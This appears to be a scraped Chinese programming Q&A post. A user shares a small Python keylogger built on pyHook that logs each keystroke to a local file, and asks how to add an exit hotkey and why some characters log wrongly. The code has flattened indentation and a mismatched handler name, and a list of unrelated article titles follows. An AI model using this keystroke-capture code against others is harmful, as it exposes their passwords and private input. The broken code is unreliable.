我正在根据我在网上找到的一个脚本编写我自己的简单键记录器。但是,我正在尝试编写一个键命令,以便在键入此命令时记录器程序将关闭。我该怎么做?(我也知道它一点也不安全,但这与这个程序无关)

例如,Ctrl+“exit”将关闭程序。在

而且它有时无法在它创建的.log文件中正确地打印某些字符,这是什么原因造成的?(我认为字符包含类型可能是导致这个问题的原因)#Key Logger

#By: K.B. Carte

#Version 1.0

################

import pythoncom, pyHook, sys, logging, time

LOG_FILENAME = 'C:\KeyLog\log.out'

def OnkeyboardEvent(event):

keytime = time.strftime('%I:%M %S %p %A %B %d, %Y ')

logging.basicConfig(filename=LOG_FILENAME,

level=logging.DEBUG,

format='%(message)s')

logging.log(10, keytime + "Key: '" + chr(event.Ascii) + "'")

return True

hm = pyHook.HookManager()

hm.KeyDown = OnKeyboardEvent

hm.HookKeyboard()

pythoncom.PumpMessages()

顺便说一句,这是在Windows7中

python键_在Python中创建键命令相关推荐

  1. 第一章 第一节:Python基础_认识Python

    Python基础入门(全套保姆级教程) 第一章 第一节:Python基础_认识Python 1. 什么是编程 通俗易懂,编程就是用代码编写程序,编写程序有很多种办法,像c语言,javaPython语言 ...

  2. python雪人_在Python乌龟画中通过箭头键使雪人移动

    预期结果:雪人可以通过右.左.上.下箭头键或键盘上的箭头键移动.在 尝试过t.speed.t.goto.t.move等等,几乎所有我在网上找到的涉及海龟动作的命令.老实说,我在这里完全被困住了,需要任 ...

  3. mac python运行按哪个键_#mac python如何使用教程#怎么在mac终端运行python程序

    mac如何投屏手机 1.首先,解iPhone,然后用手指从下往上,打开控心,在其中就可以找到AirPlay了屏幕镜像. 2.接来下就来教大家如何使用AirPlay吧,首先将手机和电脑连接在同一WiFi ...

  4. python 生成可执行文件_在Cython中创建一个可执行文件

    你想要的是Cython编译器的–embed标志. 关于它没有大量的文档,但this是我能找到的.它确实链接到一个简单的工作示例. 要将Cython源代码编译为可以编译为可执行文件的C文件,可以使用cy ...

  5. python 创建目录时间_在目录中创建带有日期时间名称和子文件的dir(Python)

    我目前正在使用pythonv2.7在Linux上创建一个目录,目录名为日期和时间(即27-10-2011 23:00:01).我的密码是以下:在import time import os dirfmt ...

  6. python 空矩阵_在NumPy中创建空数组/矩阵的方法

    如何在NumPy中创建空数组/矩阵? 在添加行的情况下,你最好的选择是创建一个与数据集最终一样大的数组,然后向它添加数据 row-by-row: >>> import numpy & ...

  7. cmd中如何运行python文件_在cmd中运行.py文件: python的操作步骤

    在cmd中运行.py文件: python的操作步骤 1 打开cmd, 不改变运行的目录: 输入python 空格  调试好的python文件路径 或者python 空格  将python文件拖入cmd ...

  8. python百科全书_维基百科中的数据科学:手把手教你用Python读懂全球最大百科全书...

    image 大数据文摘出品 编译:狗小白.李佳.张弛.魏子敏 没人否认,维基百科是现代最令人惊叹的人类发明之一. 几年前谁能想到,匿名贡献者们的义务工作竟创造出前所未有的巨大在线知识库?维基百科不仅是 ...

  9. python模拟器 截图_在Linux中20个命令行终端模拟器截图对比

    终端模拟器是在一些其它显示结构内再现视频终端的计算机程序.换句话说,终端模拟器有能力使一个愚蠢的机器看起来像一个网络连接到服务器的客户端计算机.终端模拟器允许最终用户访问控制台及其应用程序,如文本用户 ...

  10. shell运行python文件_在python shell中运行python文件的实现

    在python shell中运行python文件的实现 最近在学习flask开发,写好程序后需要在python shell中运行测试功能.专门抽时间研究了下,总结以防止以后遗忘. 这是测试文件的结构, ...

最新文章

  1. 高精度模板 洛谷Luogu P1932 A+B A-B A*B A/B Problem
  2. 51单片机 自动重装载值计算
  3. 44 个 JavaScript 变态题解析
  4. StringBuilder的构造方法和append方法
  5. 错误代码1500什么意思_啊早安打工人是什么梗???
  6. 前端学习(1257):基于promise处理ajax请求
  7. Spring Cloud 之 Ribbon,Spring RestTemplate 调用服务
  8. 使用Spring的Validator接口进行校验
  9. mac nginx 安装及PHP配置
  10. ELK详解(二)——Elasticsearch安装与部署
  11. 魔兽各服务器位置,魔兽世界怀旧服矿点分布在哪 全地图采矿位置一览(多图)
  12. TPMS烧录器安装 SNP739
  13. iOS录屏直播(一)初识ReplayKit
  14. 宇宙简史——我们在哪儿
  15. 基于教学优化算法(TLBO)求解TSP问题 (Matlab代码实现)
  16. Spring Boot 综合示例-整合thymeleaf、mybatis、shiro、logging、cache开发一个文章发布管理系统...
  17. 数据库课程设计-图书馆管理系统(2.数据库实现-基于mysql)
  18. php 时间戳与日期的转换
  19. RENIX报文字段跳变——网络测试仪实操
  20. js 实现浏览器下载视频2种方法

热门文章

  1. jmeter笔记(8)--关联
  2. 《人类简史》八、融合统一(下)——宗教的法则、历史的混沌
  3. 如何在HHDI中进行数据质量探查并获取数据剖析报告
  4. C++通过HTTP请求Get或Post方式请求Json数据(转)
  5. 野指针与内存泄漏那些事
  6. Spring Boot项目错误:Error parsing lifecycle processing instructions
  7. 【转】 ubuntu12.04更新源
  8. php empty()和isset()的区别
  9. 开始升级我的工作流系统
  10. jQuery日期选择器插件date-input